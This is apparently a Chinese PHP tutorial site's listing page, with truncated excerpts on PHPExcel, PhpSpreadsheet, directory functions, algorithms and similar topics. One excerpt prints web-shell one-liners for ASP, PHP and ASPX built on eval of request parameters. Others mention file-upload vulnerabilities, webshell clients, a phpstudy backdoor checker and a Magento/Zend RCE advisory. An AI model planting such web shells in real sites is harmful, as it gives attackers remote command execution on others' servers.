-
php读取Excel文件数据
所属栏目:[PHP教程] 日期:2020-12-13 热度:180
首先先下载 PHPExcel 编程之家下载地址: https://www.jb51.net/codes/194070.html 然后把文件丢到php脚本同级目录里面 在php文件里面写下以下代码即可 ? php // 引入类库 include "./PHPExcel-1.8/Classes/PHPExcel/IOFactory.php" ; // elsx文件路径 $inpu[详细]
-
PHP closedir() 函数
所属栏目:[PHP教程] 日期:2020-12-13 热度:77
打开一个目录,读取它的内容,然后关闭: ?php $dir = "/images/"; // Open a directory,and read its contents if (is_dir($dir)){ if ($dh = opendir($dir)){ while (($file = readdir($dh)) !== false){ echo "filename:" . $file . "br"; } closedir($dh[详细]
-
PHP chroot() 函数
所属栏目:[PHP教程] 日期:2020-12-13 热度:132
改变根目录: ?php // Change root directory chroot("/path/to/chroot/"); // Get current directory echo getcwd(); ? 结果: / ? 定义和用法 chroot() 函数改变当前进程的根目录为? directory ,并把当前工作目录改为 "/"。 注意: 该函数需要 root 权限[详细]
-
phpspreadsheet 中文文档 粗翻版
所属栏目:[PHP教程] 日期:2020-12-13 热度:101
2019年10月11日09:32:33 ? 官方使用文档??https://phpspreadsheet.readthedocs.io/en/stable/topics/accessing-cells/ api文档?https://phpoffice.github.io/PhpSpreadsheet/master/PhpOffice.html 翻译的是使用文档,机翻+校验,因为现在单个文档内容放的东[详细]
-
php弱语言特性-计算科学计数法
所属栏目:[PHP教程] 日期:2020-12-13 热度:73
php处理字符串时存在一个缺陷问题,如果字符串为“1e1”,本该是一个正常的字符串,但是php会将它认为是科学计数法里面的e; 也就是按照数学的科学计数法来说:1e1=10^1=10,因此php会把这个字符串里面的1e1进行科学计数法计算,得出来就为“10”,即遇到“0[详细]
-
PHP chdir() 函数
所属栏目:[PHP教程] 日期:2020-12-13 热度:176
实例 改变当前的目录: ?php // Get current directory echo getcwd() . "br"; // Change directory chdir("images"); // Get current directory echo getcwd(); ? 结果: /home/php /home/php/images ? 定义和用法 chdir() 函数改变当前的目录。 语法 chdir[详细]
-
PHP、asp、aspx、JSP一句话
所属栏目:[PHP教程] 日期:2020-12-13 热度:88
1、asp一句话木马: %eval request(“x”)% 2、php一句话木马: ?php eval($_POST[g]);? 3、aspx一句话: %@ Page Language=”Jscript”%%eval(Request.Item["x"],”unsafe”);% 4、数据库加密一句话(密码a): ┼攠数畣整爠焕敌瑳∨≡┩忾 5、网站配置、版权[详细]
-
PHP实现几种经典算法详解
所属栏目:[PHP教程] 日期:2020-12-13 热度:131
1、冒泡排序(数组排序) function bubble_sort( $array ) { $count = count ( $array ); if ( $count = 0 ) return false ; for ( $i =0 ; $i $count ; $i ++ ){ for ( $j = $count -1 ; $j $i ; $j -- ){ if ( $array [ $j ] $array [ $j -1 ]){ $tmp = $a[详细]
-
phpspreadsheet 中文文档(四) 创建电子表格+档案格式
所属栏目:[PHP教程] 日期:2020-12-13 热度:114
2019年10月11日14:01:48 该 Spreadsheet 班 该 Spreadsheet 班是PhpSpreadsheet的核心。 它包含对所包含工作表,文档安全性设置和文档元数据的引用。 为了简化PhpSpreadsheet概念: Spreadsheet 该类表示您的工作簿。 通常,您可以通过以下两种方式之一创建[详细]
-
PHP引用(&)使用详解
所属栏目:[PHP教程] 日期:2020-12-13 热度:105
php的引用(就是在变量或者函数、对象等前面加上符号) 在PHP 中引用的意思是:不同的名字访问同一个变量内容。 与C语言中的指针是有差别的.C语言中的指针里面存储的是变量的内容,在内存中存放的地址。 1.变量的引用 PHP 的引用允许你用两个变量来指向同[详细]
-
phpspreadsheet 中文文档(七)技巧和诀窍
所属栏目:[PHP教程] 日期:2020-12-13 热度:181
2019年10月11日14:08:35 ? 以下页面为您提供了一些使用广泛的PhpSpreadsheet食谱。 请注意,这些文件没有提供有关特定PhpSpreadsheet API函数的完整文档,而只是一个起步。 如果您需要特定的API函数,请参阅 API文档 。 例如, 设置工作表的页面方向和大小可[详细]
-
PHP的bcmath编译安装
所属栏目:[PHP教程] 日期:2020-12-13 热度:175
问题描述:zabbix编译安装时PHP条件检查失败,如下图: ? 解决办法: 1.PHP自带bcmath扩展模块,可直接进行编译安装。 ?[[email?protected] etc]# cd /usr/local/src/php-7.2.23/ext/bcmath/? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ##进入解压的源码包目录 2.执[详细]
-
phpspreadsheet 中文文档(五)节约内存+PHPExcel迁移
所属栏目:[PHP教程] 日期:2020-12-13 热度:59
2019年10月11日14:03:31 ? 节省内存 PhpSpreadsheet在工作表中平均每个单元格使用约1k,因此大型工作簿可以迅速用尽可用内存。 单元缓存提供了一种机制,使PhpSpreadsheet可以将单元对象维护在较小的内存或非内存中(例如:在磁盘上,在APCu中,内存缓存或Re[详细]
-
集训第六天:文件上传漏洞
所属栏目:[PHP教程] 日期:2020-12-13 热度:66
韩舒学姐(相当温柔)今天给我们讲解了文件上传漏洞,以及Anrwsord和Cknife等工具的使用。 文件上传漏洞 上传的文件不进行限制,有可能会被利用于上传可执行文件、脚本到服务器上,并且通过脚本文件可以获得执行服务器端命令的能力 木马 根据语言分类,有PHP[详细]
-
php 文件锁
所属栏目:[PHP教程] 日期:2020-12-13 热度:188
? php class Order{ /* * * 阻塞模式(后面的进程会一直等待前面的进程执行完毕) */ public function createOrder1(){ $file = fopen (__DIR__.‘/lock.txt‘,‘w+‘ ); // 加锁 if ( flock ( $file , LOCK_EX)){ // TODO 执行业务代码 sleep (5 ); echo ti[详细]
-
PHP 使用gd库压缩图片并生成新图片返回全路径
所属栏目:[PHP教程] 日期:2020-12-13 热度:171
使用gd库前,先检查是否开启了gd库 phpinfo (); 如果在php配置信息里找到了gd库,那么就是开启了,没开启的自行百度如何开启php gd库 ? ? ? ?既然开启了gd库,那么直接再php里写入以下代码即可 // 获取图片信息 $filename = ‘./11.jpg‘ ; $info = getimage[详细]
-
Magento新的ZEND FRAMEWORK安全漏洞
所属栏目:[PHP教程] 日期:2020-12-13 热度:128
Magento原厂近日发布了一个与Zend Framework 1和2的Email元件相关的安全性漏洞。包括Magento 1.x和Magento 2.x在内的许多PHP解决方案都使用了这个元件。如果您的服务器使用Sendmail作为邮件传输代理的话,这个严重的漏洞可导致恶意的黑客使用远端代码执行攻[详细]
-
php获取文件的文件名(误区)
所属栏目:[PHP教程] 日期:2020-12-13 热度:124
文件路径: $path = ‘/home/files/1234.jpg‘ ; php获取文件名,大家应该是轻车熟路了,写个小函数,分分钟 1 ? php 2 // 获取文件名 3 function get_fileName( $file_path ){ 4 // 1、先获取带文件部分 5 $file_base_name = basename ( $file_path ); 6 //[详细]
-
phpstudy漏洞检测
所属栏目:[PHP教程] 日期:2020-12-13 热度:81
后门检测脚本 # !/usr/bin/env python # -*- coding:utf-8 -*- import gevent from gevent import monkey gevent.monkey.patch_all() import requests as rq def file_read (file_name= "url.txt"): with open(file_name, "r") as f: return [i.replace( "n[详细]
-
PHP copy() 函数
所属栏目:[PHP教程] 日期:2020-12-13 热度:110
定义和用法 copy() 函数复制文件。 该函数如果成功则返回 TRUE,如果失败则返回 FALSE。 语法 copy(file,to_file) ? 参数 描述 file 必需。规定要复制的文件。 to_file 必需。规定复制文件的目的地。 ? 提示和注释 注释: 如果目标文件已存在,将会被覆盖。[详细]
-
PHP chown() 函数
所属栏目:[PHP教程] 日期:2020-12-13 热度:143
定义和用法 chown() 函数改变指定文件的所有者。 如果成功则返回 TRUE,如果失败则返回 FALSE。 语法 chown(file,owner) ? 参数 描述 file 必需。规定要检查的文件。 owner 必需。规定新的所有者。可以是用户名或用户的 ID。 ? 实例 ?phpchown("test.txt","c[详细]
-
Thinkphp3.2数据库字段自动转小写,字段大小写自动转换
所属栏目:[PHP教程] 日期:2020-12-13 热度:183
最简单的办法就是在配置文件加上 ‘ DB_PARAMS ‘ = [PDO::ATTR_CASE = PDO::CASE_NATURAL], 但是如果项目已经上线了一段直接,这样可能会影响其他人写的 然后我想在控制器里面动态改变DB_PARAMS这个配置,后来发现不行. 因为基类里面有数据库操作,model是单[详细]
-
PHP clearstatcache() 函数
所属栏目:[PHP教程] 日期:2020-12-13 热度:103
定义和用法 clearstatcache() 函数清除文件状态缓存。 PHP 会缓存某些函数的返回信息,以便提供更高的性能。但是有时候,比如在一个脚本中多次检查同一个文件,而该文件在此脚本执行期间有被删除或修改的危险时,你需要清除文件状态缓存,以便获得正确的结果[详细]
-
Hbuilder环境下配置php
所属栏目:[PHP教程] 日期:2020-12-13 热度:94
XAMPP的安装 https://blog.csdn.net/qing666888/article/details/81914389 安装并配置好Xampp后,在Hbuilder中下载php插件,工具→插件安装 ? ? 创建一个项目,以移动app为例,项目路径指定到xmapp的htdocs目录下 ? ?配置php服务器 打开边看边改模式,设置外[详细]
-
01背包(一维空间优化)
所属栏目:[PHP教程] 日期:2020-12-13 热度:136
http://acm.hdu.edu.cn/showproblem.php?pid=1171 Big Event in HDU Time Limit: 10000/5000 MS (Java/Others)????Memory Limit: 65536/32768 K (Java/Others) Total Submission(s): 58312????Accepted Submission(s): 19584 Problem Description Nowadays,w[详细]